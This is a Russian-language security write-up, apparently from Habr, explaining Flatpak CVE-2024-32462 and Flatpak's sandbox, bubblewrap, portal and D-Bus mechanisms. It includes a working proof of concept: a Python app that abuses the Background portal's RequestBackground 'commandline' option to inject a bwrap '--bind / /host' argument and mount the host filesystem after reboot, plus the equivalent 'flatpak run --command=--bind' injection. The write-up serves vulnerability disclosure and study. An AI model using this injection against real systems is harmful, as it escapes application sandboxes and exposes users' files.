Flatpak CVE-2024-32462

от автора

Введение

18 апреля 2024 года в системе Flatpak была обнаружена уязвимость открывающая возможность вредоносному или скомпрометированному приложению, упакованному в формате Flatpak, обойти установленный режим изоляции sandbox и получить доступ к файлам в основной системе.

Найденная уязвимость получила идентификатор CVE-2024-32462 и балл CVSS равный 8,4 (высокий).

В данной статье мы не только посмотрим на эту уязвимость, но и подробно разберем основные механизмы безопасности Flatpak, выявив основные векторы атаки на хостовую систему из скомпрометированного контейнера с приложением.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество «GISCYBERTEAM» не несёт ответственности за любые последствия ее использования третьими лицами.

Flatpak

Flatpak — это система управления пакетами в Linux, предназначенная для упрощения установки, обновления и запуска приложений. Она основана на контейнеризации, которая позволяет упаковывать приложения со всеми необходимыми зависимостями в изолированные контейнеры.

Каждый контейнер содержит не только само приложение, но и все зависимости, необходимые для его исполнения, что обеспечивает надежную и независимую среду для его работы. Это позволяет пользователям устанавливать и запускать приложения без необходимости беспокоиться о конфликтах зависимостей или изменениях в системе. Кроме того, Flatpak обеспечивает изоляцию приложений от остальной системы, что повышает безопасность и стабильность операционной системы Linux.

Прежде чем перейти к описанию уязвимости, важно разобрать несколько механизмов работы Flatpak.

Песочницы

Одна из основных целей Flatpak — повысить безопасность настольных систем за счет изоляции приложений друг от друга. Это достигается с помощью песочницы и означает, что по умолчанию приложения, запускаемые с Flatpak, имеют чрезвычайно ограниченный доступ к среде хоста. Это включает:

  • Отсутствие доступа к каким-либо файлам хоста, кроме среды выполнения.

  • Отсутствие доступа к сети.

  • Отсутствие доступа к каким-либо узлам устройства (кроме /dev/null и т.п.)

  • Отсутствие доступа к процессам вне песочницы.

  • Ограниченные системные вызовы. Например, приложения не могут использовать нестандартные типы сетевых сокетов или отслеживать другие процессы ptrace.

  • Ограниченный доступ к экземпляру сеанса D-Bus.

  • Нет доступа к хост-службам, таким как X11, системный D-Bus или PulseAudio.

Большинству приложений, чтобы быть полезными, потребуется доступ к некоторым из этих ресурсов. Чтобы его получить, разработчик либо явно указывает необходимость доступа к тому или иному ресурсу в конфигурации, либо использует специальные интерфейсы, которые называются порталами.

Важно отметить, что сам Flatpak не реализует песочницы, а использует инструмент bwrap.

Bubble Wrap

Bubble Wrap (bwrap) — это низкоуровневый и непривилегированный инструмент для создания песочниц.

Многие инструменты для запуска контейнеров, такие как systemd-nspawn, docker и т. д., ориентированы на предоставление инфраструктуры для системных администраторов и инструментов оркестровки (например, Kubernetes). Их не стоит предоставлять непривилегированным пользователям, поскольку такой доступ легко превратить в полностью привилегированный root shell на хосте.

В ядре Linux существует проект под названием user namespaces, который пытается позволить непривилегированным пользователям использовать возможности контейнеров. Хотя был достигнут значительный прогресс, все еще существуют опасения, и он недоступен для непривилегированных пользователей в некоторых продакшн дистрибутивах, таких как CentOS/Red Hat Enterprise Linux 7, Debian Jessie и т. д.

Посмотрите, например, CVE-2016-3135 — уязвимость позволяющая локальному пользователю повысить привилегии с помощью userns.

Bubblewrap можно рассматривать как реализацию setuid для подмножества пользовательских пространств имен. Акцент на подмножестве — если говорить конкретно о приведенном выше CVE, то bubblewrap не позволяет контролировать iptables.

Однако оригинальный код bubblewrap существовал до появления user namespaces — он наследует код от xdg-app helper, который, в свою очередь, отдаленно происходит от linux-user-chroot.

Разработчики этого инструмента считают, что он не позволяет повысить привилегии, даже если используется в сочетании с обычным программным обеспечением, установленным в дистрибутиве.

В частности, bubblewrap использует PR_SET_NO_NEW_PRIVS для отключения двоичных файлов setuid, что является традиционным способом избавления от таких вещей, как chroots.

Стоит сказать, что bubblewrap — это не то ПО, которое предоставляет готовую «песочницу» с определенной политикой безопасности. В некоторых вариантах использования bubblewrap требуется граница безопасности между изолированной средой и реальной системой; в других вариантах использования требуется возможность изменять расположение файловой системы для процессов внутри изолированной среды, но не ставится цель создания границы безопасности. В результате уровень защиты между изолированными процессами и хост-системой определяется аргументами, передаваемыми bubblewrap.

Как упоминалось выше, при упаковке приложения во Flatpak в файле конфига(манифеста) указываются различные разрешения, требуемые для работы. Например, если приложению нужен доступ к сети, в списке finish-args: будет присутствовать аргумент --share=network. Далее эти аргументы используются в конце сборки и там превращаются в аргументы для bubblewrap. В нашем примере, при запуске приложения, в bwrap будет передан аргумент --share-net.

Порталы

Порталы представляют собой основу для предоставления доступа к ресурсам за пределами песочницы, включая:

  • Открытие файлов с помощью диалогового окна выбора файлов

  • Открытие URI

  • Печать

  • Отображение уведомлений

  • Создание скриншотов

  • Запрет на завершение, приостановку, простаивание или переключение сеанса пользователя

  • Получение информации о состоянии сети

Во многих случаях порталы используют системный компонент для неявного запроса разрешения у пользователя перед предоставлением доступа к определенному ресурсу.

Неявные запросы от порталов заключаются в том, что пользователь всегда будет участвовать в удовлетворении или отклонении запроса. Таким образом, большинство портальных API приводят к взаимодействию с пользователем в виде диалогов.

Например, портал выбора файлов открывает нативную программу-селектор файлов в хост-системе. Когда пользователь делает выбор, приложению предоставляется доступ только к выбранному файлу.

Такой подход позволяет приложениям не настраивать пустой доступ к большим объемам данных или сервисов и дает пользователям контроль над тем, к чему имеют доступ их приложения.

Изначально порталы возникли в рамках проекта Flatpak, но сейчас они являются общепринятым стандартом для десктопных Linux и поддерживаются GNOME, KDE и Snapcraft. Они используются даже вне песочниц, чтобы обеспечить стандартизированный API для таких распространенных функций рабочего стола, как скриншоты и запись экрана на wayland.

D-Bus

Порталы в Linux дистрибутивах реализуются за счет D-Bus.

D-Bus, также известная как Desktop Bus, облегчает взаимодействие между приложениями и системными процессами в Linux. Она является центральным узлом для обмена сообщениями и реагирования на системные события. Когда приложение хочет отправить сообщение другому приложению, оно отправляет его dbus-демону, который гарантирует, что сообщение дойдет до адресата.

Flatpak предоставляет контейнерам доступ к этой шине через себя, как прокси. В целях безопасности он фильтрует запросы по D-Bus, но org.freedesktop.portal почти всегда доступен, если приложение хоть как-то взаимодействует с системой.

Подводя итог, можно построить следующую схему:

Стрелками показаны каналы, по которым у приложения может быть доступ к системе хоста.

Также важно помнить, что все разрешения контролируются пользователем, и даже если в приложении они были заложены, пользователь может их отключать.

Описание уязвимости

Уязвимость является инъекцией аргументов в команду для запуска bwrap контейнера. Проблема заключается в неправильной обработке аргументов командной строки при запуске команд внутри bwrap контейнера из Flatpak.

Например, обычно аргумент --command программы flatpak run предполагает передачу команды для запуска в указанном приложении Flatpak, опционально с некоторыми аргументами. Например:

flatpak run --command=ls org.gnome.gedit

В версиях Flatpak, имеющих эту уязвимость, можно передать длинное имя опции в --command=, например --bind, и оно будет неверно интерпретировано как опция bwrap. Например, можно сделать так:

flatpak run --command=--bind org.gnome.gedit / /host ls -l /host

Что в итоге запустит:

bwrap ...lots of stuff... --bind / /host ls -l /host

Аргумент --bind монтирует директорию из хостовой системы в контейнер, принимая в качестве значений путь на хосте и конечный путь в контейнере. В приведённом примере он монтирует коренной каталог хостовой системы в директорию /host в контейнере.

Далее указывается команда, которая будет выполнена: ls -l /host

В итоге получаем доступ на чтение и запись всей файловой системы хоста и выполнение команды её листинга при старте.

Но данный пример подразумевает запуск команды flatpak, а следовательно работу со стороны хостовой системы. А нам интересен именно вектор атаки со стороны скомпрометированного контейнера.

Оказывается, что такую же произвольную командную строку можно передать портальному интерфейсу org.freedesktop.portal.Background.RequestBackground из самого приложения Flatpak. Обычно это безопасно, поскольку можно указать только команду, существующую внутри песочницы. Но когда созданная командная строка преобразуется в значение аргумента --command, приложение может добиться того же эффекта, что и при передаче аргументов непосредственно bwrap, и, следовательно, выйти из песочницы.

Proof of concept

Подготовка стенда

Ниже предоставлен код рабочего приложения, которое будет установлено у пользователя. В нашем случае это пустое окно с текстом.

Код приложения (main.py):

#!/usr/bin/python3  import gi gi.require_version("Gtk", "3.0")  from gi.repository import Gtk  import sys from multiprocessing import Process  class BackgroundApplication(Gtk.Application):     def __init__(self):         super().__init__(             application_id='com.example.BackgroundApplication'         )      def do_activate(self):         pass      def do_startup(self):         Gtk.Application.do_startup(self)         self.__main_window = MainWindow(self)         self.__main_window.show()   class MainWindow(Gtk.ApplicationWindow):     def __init__(self, application):         super().__init__(application=application, title="Test application")         self.__application = application          grid = Gtk.Grid(             margin_start=20, margin_end=20, margin_top=10, margin_bottom=10, row_spacing=6         )         grid.show()         self.add(grid)          label = Gtk.Label(label="GIScyberteam")         label.show()         grid.add(label)   if __name__ == '__main__':     app = BackgroundApplication()     app.run(sys.argv)

Так как приложение упаковывается во Flatpack, у него должна быть конфигурация, где указано как его надо собирать и какие у него есть разрешения.

Конфигурация (com.example.BackgroundApplication.yaml):

app-id: com.example.BackgroundApplication runtime: org.gnome.Platform runtime-version: '45' sdk: org.gnome.Sdk command: main.py finish-args: - --share=ipc - --socket=x11 - --socket=wayland - --share=network modules:   - name: background-application     buildsystem: simple     build-commands:     - install -m755 main.py -Dt /app/bin     - install com.example.BackgroundApplication.desktop -Dt /app/share/applications     sources:     - type: file       path: main.py     - type: file       path: com.example.BackgroundApplication.desktop 

Обратите внимание на разрешения, указанные в finish-args:. У данного приложения есть доступ к оконным системам X11 и Wayland, а также доступ в сеть. Самое важное, что у него нет доступа к файловой системе хоста.

Произведем сборку приложения на хостовой системе инструментом flatpak-builder.

flatpak-builder build com.example.BackgroundApplication.yaml --install --user --force-clean 

А также произведем запуск приложения из командной строки.

flatpak run com.example.BackgroundApplication

Эксплуатация уязвимости

Давайте представим ситуацию, мы попали во внутрь контейнера, в котором работает данное приложение.

В качестве примера эксплуатации уязвимости получим доступ ко всей файловой системе хоста.

Инъекцию будем проводить в команду для автоматического запуска приложения при старте системы.

Добавить приложение в автоматический запуск при старте можно использовав метод RequestBackground портала org.freedesktop.portal.Background, который мы упоминали в описании уязвимости.

Мы внедрим данный функционал напрямую в код приложения, хотя достичь подобного результата можно разными способами.

Итоговый код получается следующий:

#!/usr/bin/python3  import gi gi.require_version("Gtk", "3.0")  from gi.repository import GLib from gi.repository import Gio from gi.repository import Gtk from random import randint  import sys from multiprocessing import Process  class BackgroundApplication(Gtk.Application):     def __init__(self):         super().__init__(             application_id='com.example.BackgroundApplication'         )         self.__request_on_startup = False      def do_activate(self):         pass      def do_startup(self):         Gtk.Application.do_startup(self)         self.__main_window = MainWindow(self)         self.__main_window.show()      def request_background(self):         proxy = Gio.DBusProxy.new_for_bus_sync(             Gio.BusType.SESSION,             0,             None,             'org.freedesktop.portal.Desktop',             '/org/freedesktop/portal/desktop',             'org.freedesktop.portal.Background',             None         )         token = 0 + randint(10000000, 90000000)         options = {             'handle_token': GLib.Variant('s', f'com/example/BackgroundApplication/{token}'),             'reason': GLib.Variant('s', 'Autostart'),             'autostart': GLib.Variant('b', True),             'background': GLib.Variant('b', False),             'commandline': GLib.Variant('as', ["--bind", "/", "/host", "main.py"]),             'dbus-activatable': GLib.Variant('b', False),         }         proxy.RequestBackground('(sa{sv})', '', options)   class MainWindow(Gtk.ApplicationWindow):     def __init__(self, application):         super().__init__(application=application, title="Test application")         self.__application = application          grid = Gtk.Grid(             margin_start=20, margin_end=20, margin_top=10, margin_bottom=10, row_spacing=6         )         grid.show()         self.add(grid)          label = Gtk.Label(label="GIScyberteam")         label.show()         grid.add(label)          self.__application.request_background()   if __name__ == '__main__':     app = BackgroundApplication()     app.run(sys.argv)

Основные изменения — это добавление функции отправки запроса порталу и её вызов после отрисовки окна.

Запрос порталу def request_background(self) в основном состоит из указания имен портала и вызываемого метода, а также из опций, передаваемых методу.

Рассмотрим самые важные для нас опции:

  • autostart — принимает булево значение, указывает надо ли приложению запускаться при старте.

  • background — принимает булево значение, указывает запускается ли приложение в фоне.

  • commandline — принимает массив из строк, первое значение которого — команда для запуска(аналогично аргументу --command у flatpak run), а последующие — аргументы приложения.

В нашем случае, для совершения инъекции, опция commandline заполняется следующим массивом:

["--bind", "/", "/host", "main.py"]

Чтобы в итоге эти строки передались как аргумент bwrap в виде:

bwrap ...lots of stuff... --bind / /host main.py

Как это выглядит со стороны хоста:

  1. В директории ~/.config/autostart/ появляется специальный файл запуска приложения

  2. В содержимом данного файла наблюдаем команду запуска в параметре Exec=.

Интересный факт заключается в том, что несмотря на наличие в названии портального метода слова Request и вопреки цели, с которой разработчики используют порталы, в итоге у пользователя никто не спрашивает разрешения, приложение просто добавляется в автозапуск.

Следующим этапом мы ждем перезапуска хостовой системы. После её перезапуска и повторного получения доступа в контейнер мы можем наблюдать, что в корневом каталоге контейнера присутствует новая директория /host в которую смонтирована файловая система хоста.

Вывод

В заключении хочется сказать, что быстрое развитие десктопных дистрибутивов Linux, включая принятие технологий изоляции большинства приложений в контейнерах, ставит перед сообществом ИБ новые вызовы в области безопасности. Обнаружение уязвимостей, таких как те, которые были выявлены в пакетном менеджере Flatpak, является важным шагом для обеспечения безопасности пользователей и защиты их данных. Нам важно уделять большое внимание изучению и анализу подобных решений, особенно в ситуации, когда в РФ корпоративные десктопы переходят с операционных систем Windows на отечественные дистрибутивы Linux.

Подписывайтесь на наш Telegram-канал


ссылка на оригинал статьи https://habr.com/ru/articles/812885/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *